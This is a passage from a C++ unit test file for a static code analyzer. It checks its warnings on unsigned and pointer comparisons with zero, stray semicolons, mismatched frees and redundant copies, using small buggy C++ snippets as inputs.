Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n 